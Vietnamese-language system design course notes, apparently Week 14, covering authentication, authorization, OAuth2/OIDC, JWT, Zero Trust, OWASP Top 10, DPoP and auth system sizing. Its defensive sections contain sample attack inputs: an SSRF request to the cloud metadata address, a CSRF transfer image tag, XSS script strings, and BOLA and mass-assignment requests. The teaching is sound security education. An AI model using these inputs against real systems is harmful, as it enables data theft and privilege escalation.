Tuần 14: Authentication, Authorization & Security

“Security is not a feature — it’s a property of the entire system. Một lỗ hổng duy nhất có thể phá sập toàn bộ kiến trúc mà bạn mất hàng tháng xây dựng.”

Tags: system-design authentication authorization security oauth2 jwt owasp zero-trust Student: Hieu Prerequisite: Tuan-12-CICD-Pipeline · Tuan-13-Monitoring-Observability Liên quan: Tuan-15-Data-Security-Encryption · Tuan-09-Rate-Limiter · Tuan-11-Microservices-Pattern · Tuan-03-Networking-DNS-CDN


1. Context & Why

Analogy đời thường — Sân bay

Hieu, tưởng tượng em đi máy bay. Quá trình từ cổng sân bay đến ghế ngồi chính là mô hình security hoàn chỉnh:

Bước tại sân bayTương đương ITGiải thích
Hộ chiếu (Passport)Authentication (AuthN)Xác minh “em là ai” — chứng minh danh tính
Boarding passAuthorization (AuthZ)Xác minh “em được phép làm gì” — ghế nào, hạng nào, lounge nào
Máy soi chiếu an ninhSecurity ControlsKiểm tra em không mang theo thứ nguy hiểm — input validation, threat detection
Cổng boardingAccess ControlChỉ cho vào đúng chuyến bay, đúng giờ — resource-level authorization
Camera giám sátSecurity MonitoringGhi lại mọi hành vi bất thường — audit log, SIEM
Nhân viên an ninh tuần traIntrusion DetectionPhát hiện và phản ứng với mối đe doạ — WAF, IDS/IPS

Nếu không có hộ chiếu → không biết ai đang vào hệ thống → impersonation attack. Nếu không có boarding pass → ai cũng vào business lounge → privilege escalation. Nếu không có máy soi chiếu → ai cũng mang gì cũng được → injection, XSS, SSRF.

Cả ba lớp phải hoạt động đồng thời. Bỏ bất kỳ lớp nào = hệ thống bị compromise.

Tại sao đây là tuần quan trọng nhất về Security?

Theo Verizon Data Breach Investigations Report 2024:

  • 86% breaches liên quan tới stolen credentials
  • 74% breaches có yếu tố human element (phishing, social engineering)
  • Median time to detect a breach: 207 ngày
  • Average cost: $4.45M per breach (IBM Cost of a Data Breach 2023)

Security không phải “thêm vào sau”. Security phải là design constraint từ đầu — giống availability, scalability, performance.


2. Deep Dive — Authentication, Authorization & Security

2.1 Authentication (Xác thực) vs Authorization (Phân quyền)

Tiêu chíAuthentication (AuthN)Authorization (AuthZ)
Câu hỏi”Bạn là ai?""Bạn được phép làm gì?”
Thời điểmXảy ra trướcXảy ra sau AuthN
InputCredentials (password, token, biometric)User identity + resource + action
OutputIdentity (user ID, claims)Allow / Deny
Thay đổiÍt thay đổi (identity cố định)Thay đổi thường xuyên (permissions thay đổi)
Ví dụLogin bằng email + passwordUser role = “editor” → được sửa bài, không được xoá user
ProtocolsOAuth2, OIDC, SAML, WebAuthnRBAC, ABAC, ReBAC, OPA

Aha Moment: Nhiều developer nhầm lẫn hai khái niệm này. OAuth2 là authorization framework (cho phép app truy cập resource), KHÔNG phải authentication protocol. OpenID Connect (OIDC) mới là lớp authentication trên OAuth2.

2.2 Session-based vs Token-based Authentication

Session-based Authentication (Truyền thống)

Client                     Server                    Session Store (Redis)
  |--- POST /login ------->|                              |
  |   (email + password)   |--- Verify credentials ------>|
  |                        |--- Create session ---------->|
  |                        |   (sessionId → userData)      |
  |<-- Set-Cookie: --------|                              |
  |    sessionId=abc123    |                              |
  |                        |                              |
  |--- GET /api/profile -->|                              |
  |   Cookie: sessionId=   |--- Lookup sessionId -------->|
  |   abc123               |<-- Return userData ----------|
  |<-- 200 OK, user data --|                              |

Ưu điểm:

  • Server kiểm soát hoàn toàn session (có thể revoke ngay lập tức)
  • Session data không lộ ra client
  • Tích hợp CSRF protection tự nhiên (với SameSite cookie)

Nhược điểm:

  • Cần session store (Redis/Memcached) — thêm infrastructure
  • Sticky sessions hoặc shared session store khi có multiple servers
  • Khó scale horizontal (session affinity)
  • Không phù hợp cho mobile apps, microservices, cross-domain

Token-based Authentication (Hiện đại — JWT)

Client                     Auth Server                API Server
  |--- POST /login ------->|                              |
  |   (email + password)   |                              |
  |<-- { accessToken,  ----|                              |
  |      refreshToken }    |                              |
  |                        |                              |
  |--- GET /api/profile --------------------------------->|
  |   Authorization:       |                              |
  |   Bearer <accessToken> |                              |
  |                        |           Verify JWT locally  |
  |                        |           (no DB lookup!)     |
  |<-- 200 OK, user data --------------------------------|

Ưu điểm:

  • Stateless — server không cần lưu session → scale dễ dàng
  • Cross-domain — token gửi qua Authorization header, không bị same-origin policy
  • Microservice-friendly — mỗi service tự verify JWT, không cần gọi auth service
  • Mobile-friendly — không phụ thuộc cookie

Nhược điểm:

  • Không thể revoke ngay lập tức (token còn valid cho đến khi hết hạn)
  • Token size lớn hơn session ID (JWT ~800 bytes vs sessionId ~36 bytes)
  • Phải handle token refresh logic ở client
  • Security risk nếu lưu sai chỗ (localStorage → XSS attack)

2.3 JWT (JSON Web Token) — Deep Dive

Cấu trúc JWT

JWT gồm 3 phần, ngăn cách bởi dấu .:

xxxxx.yyyyy.zzzzz
  |       |       |
Header  Payload  Signature

Header (thuật toán ký + loại token):

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key-2024-01"
}

Payload (claims — dữ liệu):

{
  "sub": "user-123",
  "iss": "https://auth.example.com",
  "aud": "https://api.example.com",
  "iat": 1700000000,
  "exp": 1700003600,
  "roles": ["editor", "viewer"],
  "org_id": "org-456"
}
ClaimTên đầy đủÝ nghĩa
subSubjectID của user
issIssuerAi phát hành token
audAudienceToken dành cho service nào
iatIssued AtThời điểm phát hành
expExpirationThời điểm hết hạn
jtiJWT IDUnique ID của token (dùng cho revocation)

Signature:

RSASHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  privateKey
)

RS256 vs HS256 — Chọn thuật toán ký

Tiêu chíHS256 (HMAC-SHA256)RS256 (RSA-SHA256)
LoạiSymmetric (cùng key sign & verify)Asymmetric (private key sign, public key verify)
PerformanceNhanh hơn (~10x)Chậm hơn
Key distributionMọi service cần shared secret → rủi roChỉ auth server giữ private key, các service giữ public key
Key rotationPhải update tất cả service cùng lúcChỉ update auth server, publish public key qua JWKS
Use caseSingle service, internalMicroservices, multi-party (khuyến nghị)
Rủi roNếu 1 service bị hack → tất cả bị compromiseNếu 1 API service bị hack → chỉ đọc được token, không tạo được

Rule of thumb: Nếu có nhiều hơn 1 service cần verify JWT → luôn dùng RS256 (hoặc ES256 cho performance tốt hơn).

Refresh Token & Token Rotation

Vấn đề: Access token ngắn hạn (5–15 phút) → user phải login lại liên tục → UX tệ.

Giải pháp: Refresh token — token dài hạn (7–30 ngày) dùng để lấy access token mới.

Client                   Auth Server              Database
  |                          |                        |
  |--- POST /token/refresh ->|                        |
  |   { refreshToken: "R1" } |--- Validate R1 ------->|
  |                          |--- Invalidate R1 ----->|  (Token Rotation!)
  |                          |--- Create new R2 ----->|
  |<-- { accessToken: "A2",  |                        |
  |      refreshToken: "R2"} |                        |
  |                          |                        |
  | [Attacker steals R1]     |                        |
  |                          |                        |
  | Attacker tries R1 ------>|--- Lookup R1 --------->|
  |                          |--- R1 already used! -->|
  |                          |--- REVOKE ALL tokens ->|  (Detect reuse!)
  |<-- 401 + force re-login -|                        |

Token Rotation (Xoay token): Mỗi lần dùng refresh token, phát hành refresh token MỚI và vô hiệu hoá token cũ.

Tại sao cần Token Rotation?

  • Nếu attacker đánh cắp refresh token và dùng trước user → user dùng token cũ → server phát hiện reuse → revoke toàn bộ token family
  • Giảm window of attack từ 30 ngày xuống gần như 0

JWT Best Practices

PracticeGiải thích
Access token TTL: 5–15 phútGiảm window nếu token bị lộ
Refresh token TTL: 7–30 ngàyCân bằng UX và security
Luôn validate iss, aud, expNgăn token từ hệ thống khác
Dùng jti claim cho revocationBlacklist bằng jti thay vì decode toàn bộ token
Không lưu sensitive data trong payloadJWT payload chỉ base64 encode, KHÔNG encrypt
Dùng JWKS endpoint cho public key distribution/.well-known/jwks.json
Luôn check alg headerNgăn “alg: none” attack

2.4 OAuth2 Flows

OAuth2 là authorization framework — cho phép ứng dụng thứ ba truy cập resource thay mặt user mà không cần biết password.

Bốn OAuth2 Grant Types

Grant TypeUse CaseSecurity Level
Authorization CodeWeb app có backendCao nhất
Authorization Code + PKCESPA, mobile app (no backend secret)Cao
Client CredentialsMachine-to-machine (M2M)Cao (cho M2M)
ImplicitSPA (deprecated!)Thấp — KHÔNG DÙNG
Resource Owner PasswordLegacy migrationThấp — KHÔNG DÙNG

Authorization Code Flow (Dành cho web app có backend)

User        Browser         App Server       Auth Server      Resource Server
 |              |                |                 |                  |
 |-- Click      |                |                 |                  |
 |   "Login" -->|                |                 |                  |
 |              |--- GET /authorize?              |                  |
 |              |    response_type=code&           |                  |
 |              |    client_id=XXX&                |                  |
 |              |    redirect_uri=https://app/cb&  |                  |
 |              |    scope=read:profile&           |                  |
 |              |    state=random123 ------------>|                  |
 |              |                |                 |                  |
 |              |<-- Login form -|-----------------|                  |
 |-- Enter      |                |                 |                  |
 |   creds ---->|--- POST credentials ----------->|                  |
 |              |                |                 |-- Verify         |
 |              |<-- 302 Redirect to              |                  |
 |              |    /cb?code=AUTH_CODE&           |                  |
 |              |    state=random123 ------------>|                  |
 |              |                |                 |                  |
 |              |--- GET /cb?code=AUTH_CODE ------>|                  |
 |              |                |--- POST /token  |                  |
 |              |                |    code=AUTH_CODE|                  |
 |              |                |    client_secret |                  |
 |              |                |    redirect_uri->|                  |
 |              |                |<-- { access_token,                 |
 |              |                |      refresh_token }               |
 |              |                |                 |                  |
 |              |                |--- GET /api/profile, Bearer token->|
 |              |                |<-- User profile data --------------|
 |              |<-- Show profile|                 |                  |

Key point: code trao đổi qua browser (front-channel), nhưng access_token trao đổi server-to-server (back-channel) → access token KHÔNG BAO GIỜ lộ ra browser.

Authorization Code + PKCE (Proof Key for Code Exchange)

Dành cho SPA và mobile app — không thể giữ client_secret an toàn.

1. Client tạo random "code_verifier" (43-128 chars)
2. Tính "code_challenge" = BASE64URL(SHA256(code_verifier))
3. Gửi code_challenge trong /authorize request
4. Auth server lưu code_challenge
5. Khi exchange code → client gửi code_verifier
6. Auth server verify: SHA256(code_verifier) == code_challenge

Tại sao PKCE an toàn hơn Implicit flow?

  • Implicit flow trả access token qua URL fragment → lộ trong browser history, referrer header
  • PKCE đảm bảo chỉ client tạo ra code_verifier mới có thể exchange code → ngăn authorization code interception attack

Client Credentials Flow (Machine-to-Machine)

Service A                Auth Server              Service B
  |--- POST /token            |                      |
  |    grant_type=             |                      |
  |    client_credentials      |                      |
  |    client_id=serviceA      |                      |
  |    client_secret=xxx ----->|                      |
  |<-- { access_token } ------|                      |
  |                            |                      |
  |--- GET /api/data, Bearer token ----------------->|
  |<-- Response data --------------------------------|
  • Không có user context — token đại diện cho service, không phải user
  • Dùng trong microservices internal communication
  • client_secret phải lưu trong secrets manager (Vault, AWS Secrets Manager)

2.5 OpenID Connect (OIDC)

OIDC = OAuth2 + identity layer. Thêm:

  • ID Token (JWT chứa user identity claims)
  • UserInfo endpoint (/userinfo)
  • Standard scopes: openid, profile, email
  • Discovery document: /.well-known/openid-configuration
// ID Token payload
{
  "iss": "https://accounts.google.com",
  "sub": "user-12345",
  "aud": "your-app-client-id",
  "exp": 1700003600,
  "iat": 1700000000,
  "nonce": "abc123",
  "name": "Hieu Nguyen",
  "email": "hieu@example.com",
  "email_verified": true,
  "picture": "https://..."
}

OAuth2 alone: “App này được phép đọc calendar của user” (authorization) OIDC: “User này là Hieu, email hieu@example.com, đã verify” (authentication)

2.6 SAML Overview (Security Assertion Markup Language)

SAML là XML-based protocol cho SSO trong enterprise environment.

Tiêu chíSAML 2.0OIDC
FormatXMLJSON
TokenSAML AssertionJWT (ID Token)
TransportBrowser redirect + POSTBrowser redirect + back-channel
Use caseEnterprise SSO (Okta, Azure AD)Consumer apps, mobile, SPA
ComplexityCao (XML parsing, signature, encryption)Thấp hơn
MobileKhông phù hợpRất phù hợp

Khi nào dùng SAML? Khi tích hợp enterprise IdP (Identity Provider) — Okta, Azure AD, ADFS. Nhiều enterprise vẫn dùng SAML. Hệ thống mới nên support OIDC + SAML.

2.7 Authorization Models — RBAC vs ABAC vs ReBAC

RBAC (Role-Based Access Control)

User → Role(s) → Permission(s)

Ví dụ:
  Hieu → [editor, viewer] → [read:article, write:article, publish:article]
  Mai  → [viewer]         → [read:article]
  Admin → [admin]         → [*] (tất cả quyền)

Ưu: Đơn giản, dễ hiểu, dễ audit. Nhược: “Role explosion” — khi business logic phức tạp, số role tăng nhanh (editor-team-a, editor-team-b, editor-draft-only…).

ABAC (Attribute-Based Access Control)

Policy:
  IF user.department == "engineering"
  AND resource.classification != "top-secret"
  AND time.hour BETWEEN 9 AND 18
  AND user.location == "office"
  THEN ALLOW read

→ Flexible nhưng complex. Dùng khi cần fine-grained, context-aware authorization.

Ưu: Cực kỳ linh hoạt, policy-driven. Nhược: Khó debug, khó audit (“tại sao user X bị deny?”), performance overhead khi evaluate nhiều attributes.

ReBAC (Relationship-Based Access Control)

Google Drive model:
  "Hieu" is "editor" of "document-123"
  "Team-A" is "viewer" of "folder-456"
  "document-123" is "child" of "folder-456"

  → Hieu can edit document-123 (direct)
  → Team-A members can view document-123 (inherited from folder)

Ưu: Mô hình hoá quan hệ tự nhiên (owner, editor, viewer, parent-child). Dùng cho Google Drive, GitHub, Notion. Nhược: Graph traversal expensive. Cần specialized engine (Google Zanzibar, OpenFGA, SpiceDB).

ModelKhi nào dùngVí dụ
RBACHệ thống đơn giản, role rõ ràngAdmin panel, CMS
ABACCần context-aware, fine-grainedHealthcare, government
ReBACResource có quan hệ phân cấpFile sharing, project management

2.8 Zero Trust Architecture

Old model (Castle and Moat): Tin tưởng mọi thứ bên trong network perimeter. Zero Trust: “Never trust, always verify” — không tin bất kỳ ai, kể cả traffic internal.

Nguyên tắc Zero Trust

  1. Verify explicitly — Luôn xác thực và phân quyền dựa trên tất cả data points (identity, location, device, service, data classification)
  2. Least privilege access — Chỉ cấp quyền tối thiểu cần thiết, just-in-time access
  3. Assume breach — Luôn giả định hệ thống đã bị xâm nhập. Minimize blast radius, segment access, verify end-to-end encryption

Zero Trust trong Microservices

ComponentTruyền thốngZero Trust
Service-to-serviceTrust internal networkmTLS (mutual TLS) cho mọi call
API GatewaySingle point of authMỗi service tự verify JWT
NetworkFlat internal networkNetwork segmentation + service mesh
SecretsConfig files / env varsSecrets manager (Vault) + auto-rotation
Data accessShared database credentialsPer-service credentials + least privilege
MonitoringPerimeter monitoringEvery request logged + anomaly detection

2.9 OWASP Top 10 (2021) — Deep Dive

#VulnerabilityGiải thích (Tiếng Việt)Ví dụPhòng chống
A01Broken Access ControlKhông kiểm soát quyền truy cập đúng cáchUser A xem được data của User B bằng cách đổi ID trong URLKiểm tra authorization ở mọi endpoint, deny by default
A02Cryptographic FailuresSai sót về mã hoáLưu password plaintext, dùng MD5/SHA1, không dùng HTTPSbcrypt/argon2 cho password, TLS everywhere, encrypt sensitive data
A03InjectionDữ liệu không tin cậy gửi vào interpreterSQL injection, NoSQL injection, LDAP injectionParameterized queries, ORM, input validation
A04Insecure DesignThiết kế không có security thinkingKhông có rate limit cho password reset, không có anti-automationThreat modeling (STRIDE), secure design patterns
A05Security MisconfigurationCấu hình saiDefault credentials, unnecessary features enabled, verbose error messagesHardening checklist, automated scanning, minimal install
A06Vulnerable ComponentsDùng thư viện có lỗ hổngLog4Shell (CVE-2021-44228), npm supply chain attacksSCA scanning, Dependabot/Renovate, SBOM
A07Identification & Authentication FailuresLỗi xác thựcWeak password policy, no MFA, credential stuffingMFA, bcrypt, rate limiting login, breached password check
A08Software and Data Integrity FailuresKhông verify integrityCI/CD pipeline tampering, unsigned updates, deserialization attacksCode signing, SBOM, verify dependencies
A09Security Logging & Monitoring FailuresKhông log hoặc không monitorBreach xảy ra 200+ ngày mà không phát hiệnStructured logging, SIEM, alerting on anomalies
A10Server-Side Request Forgery (SSRF)Server bị lừa gọi đến internal resourcesGET /fetch?url=http://169.254.169.254/latest/meta-data/ (AWS metadata)Whitelist URLs, block internal IPs, network segmentation

2.10 API Security — Broken Object Level Authorization (BOLA)

BOLA là lỗi #1 trong OWASP API Security Top 10.

# Attacker thay đổi ID trong request:
GET /api/users/123/orders    → User 123's orders (của attacker)
GET /api/users/456/orders    → User 456's orders (CỦA NGƯỜI KHÁC!)

# Nếu server không check "user 123 có quyền xem orders của user 456?" → BOLA!

Phòng chống:

// WRONG: Chỉ check authentication
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
  const orders = await Order.find({ userId: req.params.id });
  return res.json(orders);
});
 
// RIGHT: Check authorization — user chỉ xem được data của chính mình
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
  if (req.user.id !== req.params.id && !req.user.roles.includes('admin')) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const orders = await Order.find({ userId: req.params.id });
  return res.json(orders);
});

2.11 Mass Assignment

// User gửi request update profile:
PUT /api/users/123
{
  "name": "Hieu",
  "email": "hieu@example.com",
  "role": "admin"          // <-- Attacker thêm field này!
}
 
// WRONG: Blind update
await User.findByIdAndUpdate(123, req.body);  // role bị đổi thành admin!
 
// RIGHT: Whitelist fields
const allowed = ['name', 'email', 'avatar'];
const updates = _.pick(req.body, allowed);
await User.findByIdAndUpdate(123, updates);

2.12 Password Hashing — bcrypt vs argon2

KHÔNG BAO GIỜ lưu password dạng plaintext hoặc dùng MD5/SHA1/SHA256 (dù có salt).

AlgorithmĐặc điểmKhi nào dùng
bcryptTime-tested, work factor adjustable, 72-byte limitDefault choice, wide library support
argon2idWinner of Password Hashing Competition (2015), memory-hardKhuyến nghị mới nhất, chống GPU/ASIC attack tốt hơn
scryptMemory-hardÍt dùng hơn argon2
PBKDF2CPU-intensiveLegacy systems, FIPS compliance
MD5/SHAFast hashKHÔNG BAO GIỜ dùng cho password

Tại sao phải “chậm”?

Chênh 250,000 lần! Đó là lý do password hash phải intentionally slow.

2.13 MFA/2FA & Passkeys/WebAuthn

Multi-Factor Authentication (MFA)

Ba loại factor:

  1. Something you know — Password, PIN
  2. Something you have — Phone (TOTP), hardware key (YubiKey)
  3. Something you are — Fingerprint, face recognition
MethodSecurity LevelUXPhishing-resistant?
SMS OTPThấp (SIM swap)DễKhông
TOTP (Google Authenticator)Trung bìnhDễKhông (real-time phishing)
Push notification (Duo)Trung bình-CaoDễPhần nào (MFA fatigue attack)
Hardware key (YubiKey)CaoTrung bình
Passkeys/WebAuthnCao nhấtDễ nhất

Passkeys / WebAuthn (FIDO2)

Registration:
1. Server gửi "challenge" (random bytes)
2. Authenticator (phone/laptop) tạo key pair (private + public)
3. Private key lưu trên device (Secure Enclave / TPM)
4. Public key gửi về server
5. User xác nhận bằng biometric (Touch ID, Face ID)

Authentication:
1. Server gửi challenge
2. Authenticator ký challenge bằng private key
3. Server verify signature bằng public key
4. DONE — không password nào được truyền qua network!

Passkeys là tương lai: Không phishing, không credential stuffing, không password reuse. Google, Apple, Microsoft đều đã support.

2.14 Session Management Best Practices

PracticeGiải thích
Regenerate session ID sau loginNgăn session fixation attack
Set HttpOnly flag trên session cookieJavaScript không đọc được → ngăn XSS theft
Set Secure flagCookie chỉ gửi qua HTTPS
Set SameSite=Lax hoặc StrictNgăn CSRF
Session timeout: idle 15–30 phútGiảm risk nếu user bỏ quên browser
Absolute timeout: 8–24 giờForce re-authentication
Invalidate session khi đổi passwordNgăn session của attacker tiếp tục hoạt động
Limit concurrent sessionsPhát hiện credential sharing

2.15 CSRF, XSS & CORS

CSRF (Cross-Site Request Forgery)

Attacker's website chứa:
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

Nếu user đang login bank.com → browser tự gửi cookie → transaction thực hiện!

Phòng chống:

  • SameSite cookie (SameSite=Lax hoặc Strict)
  • CSRF token (synchronizer token pattern)
  • Double submit cookie
  • Check Origin/Referer header

XSS (Cross-Site Scripting)

TypeMô tảVí dụ
Stored XSSScript lưu trong DB, render cho tất cả userComment chứa <script>steal(cookie)</script>
Reflected XSSScript trong URL, reflect về responsesearch?q=<script>alert(1)</script>
DOM-based XSSScript modify DOM trực tiếpdocument.innerHTML = location.hash

Phòng chống:

  • Output encoding (HTML entity encode)
  • Content Security Policy (CSP) header
  • HttpOnly cookies (JS không đọc được session)
  • DOMPurify cho user-generated HTML
  • Không dùng innerHTML, dùng textContent

CORS (Cross-Origin Resource Sharing)

Browser (app.example.com) → API (api.example.com)

Browser gửi preflight request:
OPTIONS /api/data
Origin: https://app.example.com

Server respond:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Allow-Credentials: true

Sai lầm phổ biến:

# NGUY HIỂM — cho phép mọi origin
Access-Control-Allow-Origin: *

# NGUY HIỂM HƠN — reflect origin header mà không validate
Access-Control-Allow-Origin: ${request.headers.origin}

# ĐÚNG — whitelist cụ thể
Access-Control-Allow-Origin: https://app.example.com

Rule: KHÔNG BAO GIỜ dùng Access-Control-Allow-Origin: * cùng với Access-Control-Allow-Credentials: true. Browser sẽ block, nhưng nhiều developer bypass bằng cách reflect origin → lỗ hổng nghiêm trọng.

2.16 DPoP — Sender-Constrained Tokens (RFC 9449)

Cập nhật 2024-2026: DPoP (Demonstrating Proof of Possession) là chuẩn mới được công bố như RFC 9449 (Sept 2023). Bắt buộc cho FAPI 2.0 (financial APIs). Solving the bearer token problem.

2.16.1 Vấn đề: Bearer Token có thể bị steal

Bearer token model (truyền thống):

Client gửi: Authorization: Bearer eyJhbGc...
Server verify token → grant access

Vấn đề: Bất kỳ ai có token đều dùng được. Nếu token leak (XSS, MITM, log file, browser history) → attacker dùng được.

Real-world attack vectors:

  • Browser extension đọc localStorage → steal token
  • HTTP proxy log token in URL/header
  • Server log accidentally log Authorization header
  • Replay attack từ network capture

2.16.2 DPoP — Token bound to client key

DPoP (RFC 9449): Token chỉ valid khi client chứng minh sở hữu private key đã đăng ký.

1. Client tạo key pair (asymmetric, e.g., ES256)
2. Khi request token, client gửi public key (JWK thumbprint)
3. Server bind token với key thumbprint: token.cnf.jkt = thumbprint
4. Khi gọi API:
   - Authorization: DPoP <access_token>
   - DPoP: <signed JWT proving private key ownership>
5. Server verify: DPoP signature + token.cnf.jkt match

DPoP Proof JWT structure:

{
  "header": {
    "typ": "dpop+jwt",
    "alg": "ES256",
    "jwk": {
      "kty": "EC",
      "crv": "P-256",
      "x": "...",
      "y": "..."
    }
  },
  "payload": {
    "jti": "unique-id-per-request",  // anti-replay
    "htm": "POST",                    // HTTP method
    "htu": "https://api.example.com/transfer",  // URL
    "iat": 1714541234                 // issued at
  },
  "signature": "..."
}

Tính chất:

  • Sender-constrained: Stolen token không dùng được nếu không có private key
  • Per-request signature: jti chống replay
  • HTTP-bound: htm + htu ngăn dùng token vào endpoint khác

2.16.3 So sánh Bearer vs DPoP vs mTLS

FeatureBearer TokenDPoP (RFC 9449)mTLS Sender-Constrained
Stolen token reusable✗ Yes✓ No✓ No
Client setupEasyMedium (key gen)Hard (cert mgmt)
Browser support✓ Native✓ Web Crypto API⚠️ Cert install
Mobile support⚠️ Complex
Server complexitySimpleMediumHard (TLS termination)
Best forInternal APIsPublic APIs, FinTechM2M, banking backend

2.16.4 Khi nào dùng DPoP?

Bắt buộc:

  • Financial APIs theo FAPI 2.0 standard
  • Open Banking (PSD2 in EU)
  • High-value transactions (payment, transfer)

Recommended:

  • Public APIs với high-value tokens (Slack, GitHub)
  • SPAs storing tokens in localStorage (mitigation cho XSS)
  • Mobile apps (key trong secure enclave / TEE)

Skip cho:

  • Internal microservices (use mTLS instead)
  • Low-value APIs (read-only public data)

Tham chiếu:

2.17 FAPI 2.0 — Financial-grade API Security

FAPI (Financial-grade API) là OAuth 2.0 profile mạnh nhất, được thiết kế cho banking và fintech. FAPI 2.0 (2023) đơn giản hóa FAPI 1.0 và mandatory cho Open Banking.

2.17.1 FAPI vs OAuth 2.0 baseline

OAuth 2.0 vanilla là minimal — đủ cho hầu hết app, nhưng không đủ cho banking. FAPI là profile chặt hơn:

AspectOAuth 2.0 baselineFAPI 2.0
Token typeBearerDPoP hoặc mTLS
Auth methodClient secretPrivate key JWT (private_key_jwt) hoặc mTLS
PKCEOptionalRequired với S256
State parameterRecommendedRequired
Token endpointTLS optionalTLS 1.2+ required
ID Token signingOptionalRequired, no none algorithm
nonce parameterRecommendedRequired for OIDC
Pushed Authorization Request (PAR)N/ARequired (RFC 9126)
JWT Secured Response (JARM)N/ARecommended

2.17.2 PAR — Pushed Authorization Request

Vấn đề: Authorization request params trong URL → có thể bị tamper, log, leak.

FAPI 2.0 fix: Client POST request params lên /par endpoint trước, nhận về request_uri, rồi redirect user với request_uri thay vì params.

1. Client → POST /par
   {client_id, redirect_uri, scope, response_type, code_challenge, ...}
2. Server → 201 Created
   {request_uri: "urn:ietf:params:oauth:request_uri:abc123",
    expires_in: 60}
3. Client redirect user → /authorize?client_id=...&request_uri=urn:...
4. Server retrieve params from cache by request_uri

Lợi ích:

  • Params không xuất hiện trong URL → không log
  • Ngắn hơn, ít bị truncate
  • Giảm rủi ro CSRF, MITM

Tham chiếu:

2.18 NIST 800-207 Zero Trust Architecture — Deep Dive

Section 2.8 trên đã giới thiệu Zero Trust. Đây là deep dive theo chuẩn NIST SP 800-207 (federal standard, Aug 2020) — bible của Zero Trust.

2.18.1 Bảy Tenets của Zero Trust (NIST 800-207)

#TenetMô tả
1All resources are considered resourcesMọi data source, computing service đều là resource cần protect
2All communication is secured regardless of network locationKhông có “trusted network” — mọi traffic đều mTLS
3Access granted per-sessionAuthenticate trước MỖI session, không persist trust
4Access determined by dynamic policyPolicy bao gồm identity + device posture + location + time + risk
5Enterprise monitors and measures all assetsContinuous monitoring, integrity verification
6All resource auth is dynamic and strictly enforcedContinuous auth, không “set and forget”
7Enterprise collects info about asset state for postureContinuous improvement of security posture

2.18.2 Reference Architecture

                  ┌──────────────────┐
                  │  Policy Engine   │
                  │ (decision maker) │
                  └────────┬─────────┘
                           │
                  ┌────────▼─────────┐
                  │ Policy Admin     │
                  │ (configuration)  │
                  └────────┬─────────┘
                           │
   ┌──────────┐    ┌───────▼──────────┐    ┌──────────────┐
   │ Subject  │───►│ Policy Enforcement│◄───│ Resource     │
   │ (user/   │    │ Point (PEP)       │    │ (data, app)  │
   │ device)  │    └───────────────────┘    └──────────────┘
   └──────────┘            │
                  ┌────────▼─────────┐
                  │ Data Sources     │
                  │ - CDM (asset DB) │
                  │ - SIEM           │
                  │ - Threat Intel   │
                  │ - Identity store │
                  │ - Industry compl │
                  └──────────────────┘

Components:

  • Policy Engine (PE): Decide grant/deny based on policy
  • Policy Admin (PA): Manage policy lifecycle
  • Policy Enforcement Point (PEP): Enforce decisions (gateway, sidecar)
  • Data sources: Inputs cho decision (identity, threat intel, compliance)

2.18.3 Google BeyondCorp — Reference Implementation

Google BeyondCorp là implementation Zero Trust nổi tiếng nhất, áp dụng từ 2011.

Key principles:

  • No VPN: Mọi internal app accessible from internet với strong auth
  • Device trust: Mỗi device có cert, posture check (OS version, encryption, patches)
  • Identity-aware proxy: Mọi app behind IAP — không expose backend
  • Single sign-on: Centralized identity (Google Account)
  • Continuous verification: Re-authenticate dựa trên risk score

Tham chiếu:

2.18.4 Implementation patterns hiện đại

PatternToolUse case
Identity-Aware Proxy (IAP)Cloudflare Access, Google IAP, PomeriumInternal apps without VPN
Service mesh mTLSIstio, Linkerd, CiliumInter-service auth
SPIFFE/SPIREWorkload identity in K8sM2M auth at scale
OPA (Open Policy Agent)Sidecar policy engineFine-grained authz
Continuous Access Evaluation (CAE)Microsoft EntraReal-time token revocation

2.18.5 mTLS Sender-Constrained Tokens (RFC 8705)

Combine OAuth + mTLS: Token bound to client TLS certificate.

1. Client establishes mTLS connection (client cert presented)
2. Server hashes client cert thumbprint
3. Token issued với cnf.x5t#S256 = cert_thumbprint
4. On API call: must present same client cert
5. Server: hash incoming cert, compare với token.cnf.x5t#S256

Khi nào dùng mTLS over DPoP?

mTLS Cert-BoundDPoP
Service-to-service✓ BestOK
Browser/mobile⚠️ Complex✓ Best
Cert lifecycleHeavy (PKI)Light (in-memory key)
Setup costHighLow
PerformanceFaster (TLS handshake reuse)Slower (per-request signature)

Tham chiếu:

2.18.6 Anti-pattern: “Zero Trust” mà chỉ swap VPN bằng IAP

Nhiều vendor bán “Zero Trust” = “Replace VPN với cloud proxy”. Đó không phải Zero Trust thật. Real Zero Trust cần continuous verification dựa trên dynamic policy, không phải “auth once, trust forever after”.


3. Estimation — Auth System Sizing

3.1 JWT Token Size Impact on Bandwidth

Assumptions:

Thông sốGiá trị
DAU10M
API requests/user/day50
JWT access token size~800 bytes
Session ID size~36 bytes

JWT bandwidth overhead so với session-based:

Nhận xét: 35 Mbps overhead không nhỏ ở scale lớn. Nhưng trade-off (stateless, no session store lookup) thường xứng đáng. Nếu bandwidth là concern → giảm claims trong JWT, dùng opaque token + introspection cho internal traffic.

3.2 Session Store Sizing (Redis)

Nếu dùng session-based auth:

Thông sốGiá trị
Concurrent sessions10M DAU x 1.5 devices = 15M
Session data size~2 KB (user info, permissions, metadata)
Session TTL30 phút idle, 24h absolute

Redis cluster: 3 nodes x 16GB = 48GB → vừa đủ. Nhưng cần Redis Sentinel hoặc Redis Cluster cho HA.

Redis single node: 100K+ ops/s → một node đủ cho lookup. Bottleneck là memory, không phải throughput.

3.3 Auth Service QPS Requirements

OperationQPS (avg)QPS (peak)Latency Target
Login (password verify)115/s350/s< 500ms (bcrypt)
Token refresh1,930/s5,800/s< 100ms
Token validation (JWT verify)5,787/s17,361/s< 5ms (local, no DB)
Permission check5,787/s17,361/s< 10ms
Registration12/s35/s< 1s
Password reset2/s6/s< 500ms

Login QPS estimation:

bcrypt CPU cost:

Alert: Password hashing là CPU bottleneck. 88 cores cho login alone! Giải pháp: dedicated auth service cluster, horizontal scaling, hoặc offload bcrypt sang async worker.


4. Security Deep Dive — Threat Modeling & Defense

